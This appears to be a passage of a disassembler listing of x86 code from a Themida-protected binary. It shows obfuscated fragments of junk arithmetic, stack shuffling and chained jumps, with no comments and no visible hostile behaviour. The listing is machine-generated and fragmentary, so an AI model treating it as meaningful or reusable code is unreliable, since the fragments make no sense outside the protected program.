		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5A6CAD
; ---------------------------------------------------------------------------


loc_59D9A3:				; CODE XREF: Themida_:005A5BE6j
		add	eax, 2DFE7264h
		add	eax, 53B600DAh
		sub	eax, esi
		jmp	loc_5A19A9
; ---------------------------------------------------------------------------


loc_59D9B4:				; CODE XREF: Themida_:005A0BD3j
		push	0E37h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		sub	esi, 4
		jmp	loc_5A6DC5
; ---------------------------------------------------------------------------


loc_59D9CF:				; CODE XREF: Themida_:0059E104j
					; Themida_:005AE61Aj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A3E51
; ---------------------------------------------------------------------------


loc_59D9D8:				; CODE XREF: Themida_:005A423Cj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5AE460
; ---------------------------------------------------------------------------


loc_59D9E1:				; CODE XREF: Themida_:005A1501j
		inc	ebp
		jo	loc_59C503
		and	ebp, 18D217C8h
		jl	loc_59BE9F
		xor	ebp, 3F2A60AFh
		mov	edx, ebp
		pop	ebp
		push	edx
		sub	dword ptr [esp], 5A611C5Ch
		pop	edi
		add	edi, 5A611C5Ch
		pop	edx
		jmp	loc_59A581
; ---------------------------------------------------------------------------


loc_59DA12:				; CODE XREF: Themida_:005A08C8j
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		mov	eax, edx
		jmp	loc_5A1567
; ---------------------------------------------------------------------------


loc_59DA25:				; CODE XREF: Themida_:0059D297j
					; Themida_:005A7779j
		mov	[esp], ebx
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_59DF66
; ---------------------------------------------------------------------------


loc_59DA43:				; CODE XREF: Themida_:005A8198j
		xor	edx, ebp
		pop	ebp
		shl	edx, 8
		not	edx
		jmp	loc_5A36CA
; ---------------------------------------------------------------------------


loc_59DA50:				; CODE XREF: Themida_:0059BBB8j
		xchg	esi, ebp
		jmp	loc_5ACC19
; ---------------------------------------------------------------------------


loc_59DA57:				; CODE XREF: Themida_:005AE315j
		xor	esi, ebp
		pop	ebp
		mov	edx, esi
		pop	esi
		and	eax, edx
		pop	edx
		or	edx, eax
		shl	edx, 1
		push	7585h
		jmp	loc_5AC9AA
; ---------------------------------------------------------------------------


loc_59DA6E:				; CODE XREF: Themida_:0059C7F1j
					; Themida_:005A368Cj
		or	ebp, 7E035239h
		inc	ebp
		sub	ebp, 7F975EB6h
		add	esi, 4BB53C0Eh
		add	esi, ebp
		sub	esi, 4BB53C0Eh
		pop	ebp
		jmp	loc_59D12C
; ---------------------------------------------------------------------------


loc_59DA8F:				; CODE XREF: Themida_:005A5212j
		add	ecx, 5BC07827h
		jmp	loc_5A31FA
; ---------------------------------------------------------------------------


loc_59DA9A:				; CODE XREF: Themida_:0059D711j
		add	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 59D03EB4h
		dec	esi
		push	ebp
		push	ebx
		mov	ebx, 59353873h
		mov	ebp, ebx
		pop	ebx
		push	edx
		mov	edx, 4064126Fh
		neg	edx
		inc	edx
		xor	edx, 0D4D5FC40h
		xor	ebp, edx
		pop	edx
		xor	ebp, 48F173CEh
		sub	ebp, 60BA4674h
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	esi, 73A052AAh
		add	edx, 62FB32ABh
		jmp	loc_5AE854
; ---------------------------------------------------------------------------


loc_59DAF5:				; CODE XREF: Themida_:00599EB9j
		shl	ebp, 4
		push	edx
		mov	edx, 48D825E3h
		add	edx, 1BC22A0Ah
		add	ebp, edx
		pop	edx
		shl	ebp, 5
		jmp	loc_5AECCF
; ---------------------------------------------------------------------------


loc_59DB0F:				; CODE XREF: Themida_:005A7810j
		push	6608h
		mov	[esp], esi
		push	eax
		mov	eax, 24914E3h
		jmp	loc_59C30E
; ---------------------------------------------------------------------------


loc_59DB22:				; CODE XREF: Themida_:0059EF34j
		jnz	loc_5A014D
		add	bp, 5E9Bh
		mov	bx, bp
		mov	ebp, [esp]
		push	ebx
		pop	ebp


loc_59DB35:				; CODE XREF: Themida_:005A5E98j
		mov	ecx, 37CC1008h
		push	6B36h
		mov	[esp], edi
		mov	edi, 0A9E3D0Ah
		jmp	loc_5ACB2E
; ---------------------------------------------------------------------------


loc_59DB4C:				; CODE XREF: Themida_:0059A19Bj
		cmp	cx, ax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59DB55:				; CODE XREF: Themida_:005A6BBBj
		mov	[esp], edi
		jmp	loc_5A7F13
; ---------------------------------------------------------------------------


loc_59DB5D:				; CODE XREF: Themida_:0059DEB2j
		push	dword ptr [esp]
		pop	edx
		push	ebx
		jmp	loc_5A4213
; ---------------------------------------------------------------------------


loc_59DB67:				; CODE XREF: Themida_:005A5182j
		pop	esp
		imul	cl
		movzx	cx, ah
		push	small 70D3h
		mov	[esp], cx
		jmp	loc_59C8D3
; ---------------------------------------------------------------------------


loc_59DB7B:				; CODE XREF: Themida_:005A791Bj
		mov	[esp], ebx
		jmp	loc_5A94AE
; ---------------------------------------------------------------------------


loc_59DB83:				; CODE XREF: Themida_:005A8571j
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_5A2982
; ---------------------------------------------------------------------------


loc_59DB9C:				; CODE XREF: Themida_:005AB3AEj
		xor	al, 0ACh
		jmp	loc_5A37D8
; ---------------------------------------------------------------------------


loc_59DBA3:				; CODE XREF: Themida_:005AC854j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5A3562
; ---------------------------------------------------------------------------


loc_59DBAE:				; CODE XREF: Themida_:00599DC6j
		mov	ebx, [esp]
		jmp	loc_59F5CE
; ---------------------------------------------------------------------------


loc_59DBB6:				; CODE XREF: Themida_:005AE438j
		push	25BD3037h
		pop	ebx
		neg	ebx
		push	edx
		mov	edx, 46A84501h
		jmp	loc_5AC6A2
; ---------------------------------------------------------------------------


loc_59DBC9:				; CODE XREF: Themida_:005A59B2j
		push	26B5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_5988BA
; ---------------------------------------------------------------------------


loc_59DBDB:				; CODE XREF: Themida_:005A0F69j
		mov	edx, 6FA24D0Ah
		jmp	loc_59F6E9
; ---------------------------------------------------------------------------


loc_59DBE5:				; CODE XREF: Themida_:00599A7Bj
		pop	ecx
		push	ecx
		mov	ecx, esp
		push	418Bh
		mov	[esp], edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_5A920E
; ---------------------------------------------------------------------------


loc_59DBFD:				; CODE XREF: Themida_:005A5662j
		not	edi
		shr	edi, 8
		add	edi, 0FFFFFFFFh
		jmp	loc_59C163
; ---------------------------------------------------------------------------


loc_59DC0A:				; CODE XREF: Themida_:005A5331j
					; Themida_:005A59DAj
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	eax, ebx
		jmp	loc_5A03E3
; ---------------------------------------------------------------------------


loc_59DC19:				; CODE XREF: Themida_:0059D7D2j
		push	esi
		mov	esi, 1A5F035Dh
		or	esi, 0FC82263h
		push	eax
		jmp	loc_5ADE0C
; ---------------------------------------------------------------------------


loc_59DC2B:				; CODE XREF: Themida_:005A4955j
					; Themida_:005A9A12j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		jmp	loc_5A56CB
; ---------------------------------------------------------------------------


loc_59DC3A:				; CODE XREF: Themida_:005A4058j
		pop	edx
		push	ebp
		mov	ebp, esp
		jmp	loc_59FF06
; ---------------------------------------------------------------------------


loc_59DC43:				; CODE XREF: Themida_:005AD505j
		add	eax, 786A0A9Ch
		sub	eax, ebp
		sub	eax, 786A0A9Ch
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		jmp	loc_5A28DE
; ---------------------------------------------------------------------------


loc_59DC5B:				; CODE XREF: Themida_:005A1071j
		add	eax, 481579BDh
		add	eax, 7DA52320h
		add	eax, esi
		jmp	loc_5A19CF
; ---------------------------------------------------------------------------


loc_59DC6C:				; CODE XREF: Themida_:0059E5CBj
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A5910
; ---------------------------------------------------------------------------


loc_59DC83:				; CODE XREF: Themida_:005ADA4Cj
		mov	[esp], ebp
		mov	ebp, 67C39F2h
		not	ebp
		push	ebp
		jmp	loc_5A74F2
; ---------------------------------------------------------------------------


loc_59DC93:				; CODE XREF: Themida_:0059C63Aj
		add	edi, 4
		add	edi, 4
		jmp	loc_59D8AF
; ---------------------------------------------------------------------------


loc_59DCA4:				; CODE XREF: Themida_:0059C03Ej
		add	ebx, 3CAFF774h
		mov	esi, ebx
		pop	ebx
		jmp	loc_5A66C1
; ---------------------------------------------------------------------------


loc_59DCB2:				; CODE XREF: Themida_:loc_5AE1E0j
		or	cl, 0F6h
		jb	loc_59AC9C
		jmp	loc_5A2A97
; ---------------------------------------------------------------------------


loc_59DCC0:				; CODE XREF: Themida_:005AA616j
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4B921222h
		jmp	loc_599696
; ---------------------------------------------------------------------------


loc_59DCD9:				; CODE XREF: Themida_:005A6FD8j
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		jmp	loc_5A6B3E
; ---------------------------------------------------------------------------


loc_59DCEA:				; CODE XREF: Themida_:005AF0D5j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59DCEF:				; CODE XREF: Themida_:005ADE17j
		not	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		xchg	edi, ebx
		add	ebx, 60E645A2h
		add	ebx, 0C6E358h
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 527E31BCh
		push	edi
		mov	edi, 527E29BCh
		add	ecx, 37B240Fh
		sub	ecx, edi
		push	esi
		mov	esi, 37B240Fh
		sub	ecx, esi
		pop	esi
		mov	edi, [esp]
		add	esp, 4
		mov	ebx, ecx
		pop	ecx
		and	eax, ebx
		jmp	loc_59BB08
; ---------------------------------------------------------------------------


loc_59DD4D:				; CODE XREF: Themida_:005AD925j
		push	eax
		mov	eax, 1A5509CEh
		shr	eax, 4
		not	eax
		neg	eax
		not	eax
		jmp	loc_5AA453
; ---------------------------------------------------------------------------


loc_59DD61:				; CODE XREF: Themida_:005ACCC4j
		mov	eax, 4F1B4DD1h
		shl	eax, 8
		or	eax, 51367673h
		shl	eax, 1
		shr	eax, 5
		xor	eax, 2A288A66h
		add	ebx, eax
		pop	eax
		jmp	loc_5A772D
; ---------------------------------------------------------------------------


loc_59DD80:				; CODE XREF: Themida_:0059B4FCj
		mov	[esp], ebp
		jmp	loc_59D92C
; ---------------------------------------------------------------------------


loc_59DD88:				; CODE XREF: Themida_:0059C34Ej
		sub	bl, ah
		pop	ax
		sub	bl, 6Bh
		push	ecx
		mov	ch, 0FCh
		xor	ch, 2Ah
		jmp	loc_5A77F8
; ---------------------------------------------------------------------------


loc_59DD9A:				; CODE XREF: Themida_:005AE3CAj
		pop	ecx
		jmp	loc_598BC5
; ---------------------------------------------------------------------------


loc_59DDA0:				; CODE XREF: Themida_:005A6590j
		add	esi, 0FA1DDA24h
		add	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		jmp	loc_5A3166
; ---------------------------------------------------------------------------


loc_59DDB8:				; CODE XREF: Themida_:0059E873j
		mov	ebp, 952AC319h
		sub	edx, ebp
		pop	ebp
		sub	eax, 57C97726h
		push	edi
		mov	edi, 70967471h
		jmp	loc_5A3849
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5A6AF3
; ---------------------------------------------------------------------------


loc_59DDDF:				; CODE XREF: Themida_:0059D091j
					; Themida_:005AB9DDj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5A7A0A
; ---------------------------------------------------------------------------


loc_59DDEC:				; CODE XREF: Themida_:0059874Bj
		add	esi, edi
		sub	esi, 5FEB70F2h
		mov	edi, [esp]
		add	esp, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	24h
		pop	edx
		sub	edx, 44F93754h
		add	edx, edi
		jmp	loc_5A0485
; ---------------------------------------------------------------------------


loc_59DE1D:				; CODE XREF: Themida_:005A868Dj
		sub	esp, 4
		mov	[esp], esi
		push	38B57FDAh
		pop	esi
		sub	esi, 38B57FD6h
		push	edx
		push	edi
		mov	edi, esi
		mov	edx, edi
		pop	edi
		mov	edi, edx
		pop	edx
		pop	esi
		sub	edx, 45626E6Fh
		add	edx, edi
		jmp	loc_5A692A
; ---------------------------------------------------------------------------


loc_59DE47:				; CODE XREF: Themida_:loc_5A34F4j
					; Themida_:005ACEBDj
		mov	edi, 4
		add	edx, 3C1B79BBh
		jmp	loc_5A5598
; ---------------------------------------------------------------------------


loc_59DE57:				; CODE XREF: Themida_:005AB31Bj
		push	ecx
		jmp	loc_59FFAC
; ---------------------------------------------------------------------------


loc_59DE5D:				; CODE XREF: Themida_:005ABE6Cj
		xchg	esi, [esp]
		pop	esp
		retn
; ---------------------------------------------------------------------------
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59DE67:				; CODE XREF: Themida_:005A8A66j
		sub	esi, edx
		pop	edx
		add	esi, edx
		add	esi, 682A3A1Ch
		pop	edx
		sub	esi, 4
		jmp	loc_59AB47
; ---------------------------------------------------------------------------


loc_59DE7E:				; CODE XREF: Themida_:005AEF26j
		mov	[esp], edi
		push	692Ah
		mov	[esp], edx
		push	eax
		mov	eax, 3C9B3428h
		shl	eax, 5
		jp	loc_5A64B0
		neg	eax
		js	loc_5AA53A
		shr	eax, 4
		mov	ebx, eax
		push	ebp


loc_59DEA6:				; CODE XREF: Themida_:005A8A81j
					; Themida_:005AD836j
		sub	eax, 20F21502h
		sub	eax, edx
		add	eax, 20F21502h
		jmp	loc_59DB5D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59DEC5:				; CODE XREF: Themida_:005A7195j
		mov	[esp], esi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		mov	esi, [esp]
		jmp	loc_5AF1D5
; ---------------------------------------------------------------------------


loc_59DEE2:				; CODE XREF: Themida_:005ADEADj
					; Themida_:005AEECFj
		mov	ecx, ebx
		jmp	loc_59A7D5
; ---------------------------------------------------------------------------


loc_59DEE9:				; CODE XREF: Themida_:005AC8DAj
		mov	ebp, [esp]
		add	esp, 4
		shr	ebp, 4
		xor	ebp, 61214F10h
		jmp	loc_59CB19
; ---------------------------------------------------------------------------


loc_59DF00:				; CODE XREF: Themida_:005ADB67j
		add	[esp+8], ebx
		pop	ebx
		pop	ebp
		pop	dword ptr [edi+20h]
		jmp	loc_5A77FF
; ---------------------------------------------------------------------------


loc_59DF0E:				; CODE XREF: Themida_:005A6FCDj
		mov	esi, 2388447Dh
		sub	edx, esi
		pop	esi
		add	esi, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5A4E59
; ---------------------------------------------------------------------------


loc_59DF2A:				; CODE XREF: Themida_:00599A1Dj
		mov	edx, 0DAF7E51h
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5A86DD
; ---------------------------------------------------------------------------


loc_59DF40:				; CODE XREF: Themida_:005A0DF3j
		push	edi
		mov	edi, 57F37C19h
		inc	edi
		jp	loc_5A4FC0
		xor	edi, 71C61AC3h
		jbe	loc_5AC588
		add	edi, 0F8160DDCh
		mov	edx, edi
		jmp	loc_59F022
; ---------------------------------------------------------------------------


loc_59DF66:				; CODE XREF: Themida_:0059DA3Ej
		mov	[esp], ecx
		jmp	loc_5AB8EA
; ---------------------------------------------------------------------------


loc_59DF6E:				; CODE XREF: Themida_:005A7C3Aj
		mov	[esp], edx
		mov	dl, 73h
		add	al, dl
		pop	edx
		jmp	loc_5A8C26
; ---------------------------------------------------------------------------


loc_59DF7B:				; CODE XREF: Themida_:005AB7E8j
		mov	edi, [esp]
		add	esp, 4
		sub	edi, 20A32C03h
		jmp	loc_5A68BA
; ---------------------------------------------------------------------------


loc_59DF8C:				; CODE XREF: Themida_:005A3A83j
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_59C02F
; ---------------------------------------------------------------------------


loc_59DF97:				; CODE XREF: Themida_:005A638Dj
		pop	edx
		add	al, cl
		pop	ecx
		push	2CEh
		mov	[esp], edx
		mov	dh, 89h
		add	dh, 8
		push	eax
		mov	al, 58h
		jmp	loc_5AB3A7
; ---------------------------------------------------------------------------


loc_59DFB0:				; CODE XREF: Themida_:0059CBDFj
		push	edx
		mov	edx, 0FDB7C73h
		jmp	loc_5A581C
; ---------------------------------------------------------------------------


loc_59DFBB:				; CODE XREF: Themida_:0059BB7Aj
		jno	loc_5A2B8F
		sub	ebp, 5B4D5506h
		jmp	loc_5A650C
; ---------------------------------------------------------------------------
		pop	edi
		add	ebp, eax
		push	edi


loc_59DFD0:				; CODE XREF: Themida_:005ACDDCj
		xor	edx, 0F2336367h
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	dword ptr [esp+4], 1AF52AF8h
		jmp	loc_5A2BBE
; ---------------------------------------------------------------------------


loc_59DFEB:				; CODE XREF: Themida_:005A3363j
		jle	loc_5A9427
		jmp	loc_5A047B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		add	bh, 53h
		push	esi


loc_59DFFE:				; CODE XREF: Themida_:loc_5A63C1j
		dec	ebp
		jnp	loc_59C589
		push	ecx
		mov	ecx, 3AB0DC03h
		xor	ebp, ecx
		pop	ecx
		mov	ebx, ebp
		jmp	loc_59D775
; ---------------------------------------------------------------------------


loc_59E015:				; CODE XREF: Themida_:005AD83Ej
		neg	ch
		jmp	loc_5AC7A9
; ---------------------------------------------------------------------------


loc_59E01C:				; CODE XREF: Themida_:005AE066j
		sub	cl, 0D4h
		sub	cl, 6
		jmp	loc_59921B
; ---------------------------------------------------------------------------


loc_59E027:				; CODE XREF: Themida_:005A5CB8j
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_5A61F7
; ---------------------------------------------------------------------------


loc_59E031:				; CODE XREF: Themida_:0059CE38j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		test	cl, al
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59E051:				; CODE XREF: Themida_:005A0161j
					; Themida_:005AED39j
		sub	esi, 33A12661h
		add	esi, eax
		add	esi, 33A12661h
		jmp	loc_5A6578
; ---------------------------------------------------------------------------


loc_59E064:				; CODE XREF: Themida_:005A6FE2j
		pop	ecx
		shl	edi, 1
		push	edx
		mov	edx, 13796CB6h
		add	edi, edx
		jmp	loc_59B5ED
; ---------------------------------------------------------------------------


loc_59E074:				; CODE XREF: Themida_:005A4B1Ej
		jmp	loc_5A7112
; ---------------------------------------------------------------------------
		push	43DAh
		mov	[esp], esp
		jmp	loc_5A20E2
; ---------------------------------------------------------------------------


loc_59E086:				; CODE XREF: Themida_:0059FA7Dj
		dec	edx
		jg	loc_5A5328
		sub	edx, 4CE67444h
		shl	edx, 8
		jns	loc_5AE327
		sub	edx, 5864A9CFh
		mov	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		or	ecx, 16E61F92h
		jnp	loc_5AA125
		sub	ecx, 0FFFFFFFFh
		xor	ecx, 17E60F97h
		mov	ebx, ecx


loc_59E0C7:				; CODE XREF: Themida_:005A4386j
					; Themida_:005A7878j
		add	ebx, 583F9CBFh
		jmp	loc_599163
; ---------------------------------------------------------------------------


loc_59E0D2:				; CODE XREF: Themida_:0059FEBAj
		and	ecx, ebx
		pop	ebx
		shr	ecx, 7
		push	4744h
		mov	[esp], edx
		mov	edx, ebx
		push	271Dh
		mov	[esp], esi
		push	edx
		pop	esi
		mov	eax, esi
		mov	esi, [esp]
		push	790Ch
		jmp	loc_5ACF35
; ---------------------------------------------------------------------------


loc_59E0FB:				; CODE XREF: Themida_:005A3BE2j
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_59D9CF
; ---------------------------------------------------------------------------


loc_59E109:				; CODE XREF: Themida_:005AA281j
		sub	esp, 4
		mov	[esp], edi
		push	eax
		mov	eax, 34F024B0h
		sub	eax, 34F024ACh
		push	eax
		xor	dword ptr [esp], 520A307Ch
		pop	edi
		xor	edi, 520A307Ch
		pop	eax
		push	40C9h
		jmp	loc_5A9C4C
; ---------------------------------------------------------------------------


loc_59E137:				; CODE XREF: Themida_:0059D51Bj
		mov	ebp, 2BBF19AEh
		mov	edi, ebp
		pop	ebp
		neg	edi
		xchg	ebx, edi
		neg	ebx
		xor	edi, ebx
		jmp	loc_5A3488
; ---------------------------------------------------------------------------


loc_59E14C:				; CODE XREF: Themida_:005A12FBj
		add	ch, 8Dh
		add	bl, ch
		pop	ecx
		add	bl, ah
		jmp	loc_5A0FAF
; ---------------------------------------------------------------------------


loc_59E159:				; CODE XREF: Themida_:005A8097j
		mov	eax, 4F9A109Ch
		sub	eax, 623456F6h
		and	eax, 34AD2187h
		neg	eax
		dec	eax
		add	eax, 66D95D15h
		xor	ebx, eax
		jmp	loc_5ADA9D
; ---------------------------------------------------------------------------


loc_59E177:				; CODE XREF: Themida_:00598808j
		mov	ecx, esi
		jmp	loc_5A1F5A
; ---------------------------------------------------------------------------


loc_59E17E:				; CODE XREF: Themida_:005ACE1Bj
		mov	cl, 4Fh
		and	cl, 8Ah
		jo	loc_599585
		sub	cl, 38h
		jg	loc_5A127F
		or	cl, 9Ah
		jg	loc_5A873E
		shl	cl, 2
		jnz	loc_598A4D
		add	cl, 1Eh
		neg	cl
		jmp	loc_5A1057
; ---------------------------------------------------------------------------


loc_59E1AE:				; CODE XREF: Themida_:005A17C2j
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_59ED9E
; ---------------------------------------------------------------------------


loc_59E1BB:				; CODE XREF: Themida_:005A7AE0j
		xor	edx, 3944398Ch
		jz	loc_5A81E7
		xor	edx, 0ABCA726h
		push	edi
		mov	edi, 1DE5486Ah
		jmp	loc_5A1E2E
; ---------------------------------------------------------------------------


loc_59E1D8:				; CODE XREF: Themida_:005AE941j
		push	eax
		mov	eax, 6E7605BCh
		add	eax, 62764D6Fh
		jmp	loc_5A4AD0
; ---------------------------------------------------------------------------


loc_59E1E8:				; CODE XREF: Themida_:0059F59Fj
		add	esi, 39DB0629h
		sub	ebp, 0C5538EBh
		sub	ebp, esi
		add	ebp, 0C5538EBh
		pop	esi
		push	2EAFh
		mov	[esp], edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 48F01E11h
		jmp	loc_5AE8C3
; ---------------------------------------------------------------------------


loc_59E222:				; CODE XREF: Themida_:005AC656j
		xor	bl, al
		push	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 38h
		mov	ebx, edx
		jmp	loc_5A67FD
; ---------------------------------------------------------------------------


loc_59E23A:				; CODE XREF: Themida_:0059C9F2j
		add	ebp, 66AD2725h
		jnz	loc_5AD790
		jmp	loc_599B23
; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ecx


loc_59E254:				; CODE XREF: Themida_:0059EA5Cj
		pop	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A7596
; ---------------------------------------------------------------------------


loc_59E263:				; CODE XREF: Themida_:005A17F6j
		push	eax
		jmp	loc_5A8C5C
; ---------------------------------------------------------------------------


loc_59E269:				; CODE XREF: Themida_:loc_599A02j
		shr	esi, 7
		neg	esi
		jp	loc_5A7773
		add	esi, 22C8E3C7h
		jmp	loc_59E34C
; ---------------------------------------------------------------------------
		mov	ebx, [esp]


loc_59E282:				; CODE XREF: Themida_:005A613Aj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		mov	al, dl
		push	edx
		mov	dl, al
		mov	bl, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5AE15C
; ---------------------------------------------------------------------------


loc_59E29B:				; CODE XREF: Themida_:005AAEEDj
		add	esp, 4
		and	bl, 16h
		xor	bl, 0Fh
		add	ch, 2Ch
		push	eax
		mov	ah, 0C4h
		sub	ch, ah
		pop	eax
		add	ch, bl
		push	eax
		jmp	loc_5A7A35
; ---------------------------------------------------------------------------


loc_59E2B5:				; CODE XREF: Themida_:0059A960j
		add	esi, 6194B4Bh
		jmp	loc_5A900D
; ---------------------------------------------------------------------------


loc_59E2C0:				; CODE XREF: Themida_:0059E92Dj
		pop	eax
		jmp	loc_5A2E9F
; ---------------------------------------------------------------------------


loc_59E2C6:				; CODE XREF: Themida_:0059B460j
		pop	edi
		jmp	loc_5AE353
; ---------------------------------------------------------------------------


loc_59E2CC:				; CODE XREF: Themida_:0059AB08j
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_5A7A3C
; ---------------------------------------------------------------------------


loc_59E2DA:				; CODE XREF: Themida_:0059C5D0j
		and	ebx, 45387091h
		jmp	loc_5AA65B
; ---------------------------------------------------------------------------


loc_59E2E5:				; CODE XREF: Themida_:005A96CAj
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	1694h
		mov	[esp], ebx
		jmp	loc_59FDE4
; ---------------------------------------------------------------------------
		xor	[esp], cx
		xor	cx, [esp]
		xor	[esp], cx
		sub	esp, 2
		mov	[esp], cx
		push	bp
		mov	cx, [esp]
		jmp	loc_59F451
; ---------------------------------------------------------------------------


loc_59E31D:				; CODE XREF: Themida_:005AB171j
		add	ebp, 97045F98h
		jmp	loc_5A9094
; ---------------------------------------------------------------------------


loc_59E328:				; CODE XREF: Themida_:0059C8FFj
		inc	esi
		and	esi, 30C82B1Fh
		push	edi
		mov	edi, 462278EEh
		or	edi, 3FA9288Fh
		shl	edi, 3
		add	edi, 7CB5575Fh
		or	esi, edi
		pop	edi
		jmp	loc_59FA3A
; ---------------------------------------------------------------------------


loc_59E34C:				; CODE XREF: Themida_:0059E27Aj
					; Themida_:005A43B2j
		mov	edx, 29CB5F6Ah
		sub	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ecx, 6F675C58h
		sub	ecx, 58426ED5h
		sub	ecx, ebx
		add	ecx, 58426ED5h
		push	ebp
		mov	ebp, 6126223Eh
		shr	ebp, 3
		shr	ebp, 6
		xor	ebp, 6F57CF49h
		add	ecx, ebp
		pop	ebp
		jmp	loc_59F649
; ---------------------------------------------------------------------------


loc_59E387:				; CODE XREF: Themida_:005A6BABj
		mov	[esp], eax
		jmp	loc_5ADCBF
; ---------------------------------------------------------------------------


loc_59E38F:				; CODE XREF: Themida_:0059BE65j
		mov	ebx, 4E165F0Fh
		xor	ebx, 4E165F0Dh
		jmp	loc_5A6460
; ---------------------------------------------------------------------------


loc_59E39F:				; CODE XREF: Themida_:loc_5A2204j
		neg	ebp
		inc	ebp
		jz	loc_5A7582
		push	edx
		jmp	loc_598D6B
; ---------------------------------------------------------------------------


loc_59E3AE:				; CODE XREF: Themida_:005AA4DAj
		push	ebp
		jmp	loc_5A3FB1
; ---------------------------------------------------------------------------
		dd offset dword_5CA668
		dd 8F06800h, 0E5E90000h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E3C3:				; CODE XREF: Themida_:0059B8B5j
		sub	ebp, 433C5957h
		mov	edi, [esp]
		add	esp, 4
		add	ecx, 794B32BBh
		jmp	loc_5A71D6
; ---------------------------------------------------------------------------


loc_59E3DA:				; CODE XREF: Themida_:005A9BD8j
		or	esi, 0A4713F4h
		shr	esi, 7
		jmp	loc_5AE7EB
; ---------------------------------------------------------------------------


loc_59E3E8:				; CODE XREF: Themida_:005A155Aj
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_5AE14D
; ---------------------------------------------------------------------------


loc_59E3F5:				; CODE XREF: Themida_:005AE856j
		sub	edx, 62FB32ABh
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_59F941
; ---------------------------------------------------------------------------


loc_59E407:				; CODE XREF: Themida_:loc_5A4E94j
		add	ecx, 5EC81022h
		mov	ebx, ecx
		pop	ecx
		neg	ebx
		sub	esp, 4
		jmp	loc_59FCCA
; ---------------------------------------------------------------------------


loc_59E41D:				; CODE XREF: Themida_:0059AD86j
					; Themida_:005A6C38j
		add	edi, edx
		add	edi, 2BA11727h
		pop	edx
		push	ebp
		mov	ebp, 4
		push	ecx
		mov	ecx, 6E22045Dh
		add	edi, ecx
		pop	ecx
		sub	edi, ebp
		sub	edi, 6E22045Dh
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5AB664
; ---------------------------------------------------------------------------


loc_59E447:				; CODE XREF: Themida_:0059CDDFj
		add	bl, 9
		xor	bl, 0ADh
		sub	ch, bl
		jmp	loc_59F2E5
; ---------------------------------------------------------------------------


loc_59E454:				; CODE XREF: Themida_:005AADE1j
